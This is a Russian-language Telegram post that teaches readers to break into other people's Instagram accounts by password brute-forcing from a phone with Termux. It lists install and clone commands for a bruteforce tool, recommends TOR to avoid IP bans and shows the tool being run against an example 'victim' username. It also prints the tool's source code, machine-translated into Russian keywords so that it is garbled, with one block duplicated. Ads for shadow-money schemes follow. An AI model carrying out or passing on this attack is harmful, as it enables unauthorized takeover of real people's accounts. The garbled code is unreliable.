full

full

by Инкогнито

Взлом Instagram с телефона. Атака BruteForce в Termux

.

Перед прочтением, я создал отдельный канал где буду проводить вебинар и это твой шанс попасть ко мне в команду и начать зарабатывать - ТЫК

Хелоу инкогнито !!! Сегодня я расскажу вам, как взломать инстаграм с помощью вашей трубки!

Итак приступим.

Brute Force - атака массового автоматического перебора паролей. Это очень наглая атака, поэтому советую использовать анонимную сеть TOR. В ином случае вы можете забанить по ip адресу.

Termux, он есть даже в Play Market

Всё ссылки тут:

https://t.me/joinchat/AAAAAFEHEN-8eu8a7414bw

Заходим в него и видим:

Теперь поочерёдно вписываем команды: (иногда, когда Y / N пишем Y и нажимаем Enter)

Пакет обновления

обновление pkg

pkg установить git

pkg установить нано

pkg установить python

написать на установку pip

pip install bsa4

pip install colorama

git clone https://github.com/Pure-L0G1C/Instagram

cd Instagram

chmod + x *

nano pass.txt

⚠️⚠️⚠️ВНИМАНИЕ⚠️⚠️⚠️

Мы вставляем пароли. Как я уже писал, хакерское приложение, которое их создаст.

И все-таки, пока вы единственный источник:

"Https://t.me/wannadeauth/112"

Если это вам сложно, прилагаю уже готовые, собранные брут словари:

https://t.me/joinchat/AAAAAFEHEN-8eu8a7414bw

Короче копируем и вставляем в то пустое поле

Далее:

Нажимаем комбинацию

Ctrl + C

Далее Y

И два Вход

Всё!

Осталось запустить брут

Пишем

python instagram.py (логин жертвы) pass.txt

У меня жертва будет

ahmet123

Будет выглядеть:

python instagram.py ahmet123 pass.txt

Все!

Пароль, если он есть в базе

В будущем, расскажу про фишинг.

Исходный код:

из sys import exit

из os.path импорт существует

из lib.bruter импортировать брутер

из lib.display import Display

из платформы импорта python_version

из lib.const импорт учетных данных, режимы

из argparse import ArgumentParser, ArgumentTypeError



Двигатель класса (объект):


  def __init __ (self, username, threads, passlist_path, is_color):

    self.bruter = нет

    self.resume = False

    self.is_alive = True

    self.threads = threads

    self.username = имя пользователя

    self.passlist_path = passlist_path

    self.display = Показать (is_color = is_color)


  def passlist_path_exists (self):

    если не существует (self.passlist_path):

      self.display.warning («Неверный путь к списку паролей»)

      вернуть Ложь

    верните True


  def create_bruter (self):

    self.bruter = Bruter (

      self.username,

      self.threads,

      self.passlist_path

    )


  def get_user_resp (self):

    return self.display.prompt («Хотите возобновить атаку? [y / n]:»)


  def write_to_file (self, password):

    с открытым (учетные данные, 'at') как f:

      data = 'Имя пользователя: {} \ nПароль: {} \ n \ n'.format (

        self.username.title (), пароль)

      f.write (данные)


  def start (self):

    если не self.passlist_path_exists ():

      self.is_alive = False


    если self.is_alive:

      self.create_bruter ()


      пока self.is_alive, а не self.bruter.password_manager.session:

        проходить


      если не self.is_alive:

        возвращение


      если self.bruter.password_manager.session.exists:

        пытаться:

          resp = self.get_user_resp ()

        Кроме:

          self.is_alive = False


        если соответственно и self.is_alive:

          if resp.strip (). lower () == 'y':

            self.bruter.password_manager.resume = True


      пытаться:

        self.bruter.start ()

      кроме KeyboardInterrupt:

        self.bruter.stop ()

        self.bruter.display.shutdown (self.bruter.last_password,

                       self.bruter.password_manager.attempts, len (self.bruter.browsers))

      наконец-то:

        self.stop ()


  def stop (self):

    если self.is_alive:


      self.bruter.stop ()

      self.is_alive = False


      если self.bruter.password_manager.is_read и не self.bruter.is_found и не self.bruter.password_manager>

        self.bruter.display.stats_not_found (self.bruter.last_password,

                          self.bruter.password_manager.attempts, len (self.bruter.browsers))


      если self.bruter.is_found:

        self.write_to_file (self.bruter.password)

        self.bruter.display.stats_found (self.bruter.password,

                        self.bruter.password_manager.attempts, len (self.bruter.browsers))



def valid_int (n):

  если не n.isdigit ():

    поднять ArgumentTypeError («режим должен быть числом»)


  n = int (n)


  если n> 3:

    поднять ArgumentTypeError («максимум для режима 3»)


  если n <0:

    поднять ArgumentTypeError («минимум для режима равенства 0»)


  вернуть п

def stop (self):

    если self.is_alive:


      self.bruter.stop ()

      self.is_alive = False


      если self.bruter.password_manager.is_read, не self.bruter.is_found и не self.bruter.password_manager.list_size:

        self.bruter.display.stats_not_found (self.bruter.last_password,

                          self.bruter.password_manager.attempts, len (self.bruter.browsers))


      если self.bruter.is_found:

        self.write_to_file (self.bruter.password)

        self.bruter.display.stats_found (self.bruter.password,

                        self.bruter.password_manager.attempts, len (self.bruter.browsers))



def valid_int (n):

  если не n.isdigit ():

    поднять ArgumentTypeError («режим должен быть числом»)


  n = int (n)


  если n> 3:

    поднять ArgumentTypeError («максимум для режима 3»)


  если n <0:

    поднять ArgumentTypeError («минимум для режима равенства 0»)


  вернуть п



def args ():

  args = ArgumentParser ()

  args.add_argument ('username', help = 'email или username')

  args.add_argument ('passlist', help = 'список паролей')

  args.add_argument ('- nc', '--no-color', dest = 'color',

           action = 'store_true', help = 'отключить цвета')

  args.add_argument ('- m', '--mode', default = 2, type = valid_int,

           help = 'mode: 0 => 32 ботов; 1 => 16 ботов; 2 => 8 ботов; 3 => 4 бота

  возврат args.parse_args ()



если __name__ == '__main__':


  если int (python_version () [0]) <3:

    print ('[!] Пожалуйста, используйте Python 3')

    Выход ()


  arugments = args ()

  mode = arugments.mode

  имя пользователя = arugments.username

  passlist = arugments.passlist

  is_color = True, если не arugments.color else False

  Engine (имя пользователя, режимы [mode], passlist, is_color) .start ()

Как вы поняли , мы будем использовать шаблон данной программы, чтобы сделать свою, с автоматической генерацией паролей.

Мы написали в ручную.
ОБЯЗАТЕЛЬНО ПОСЕЩЕНИЕ НАШЕГО ВЕБИНАРА - ТЫК

Dark Arbitrage - тренд 2020 года, ниша где крутятся огромные бабки! Топ 1 в сфере теневого арбитража!

awen - не забываем подписываться на наш второй канал!

Chatex - лучший обменник в телеграмме

World of Dogs клановые бои, рейды, более 1000 вещей, которые можно продать за реальные деньги.

BLACK - место, где ты заработаешь 100.000 уже через месяц

Report Page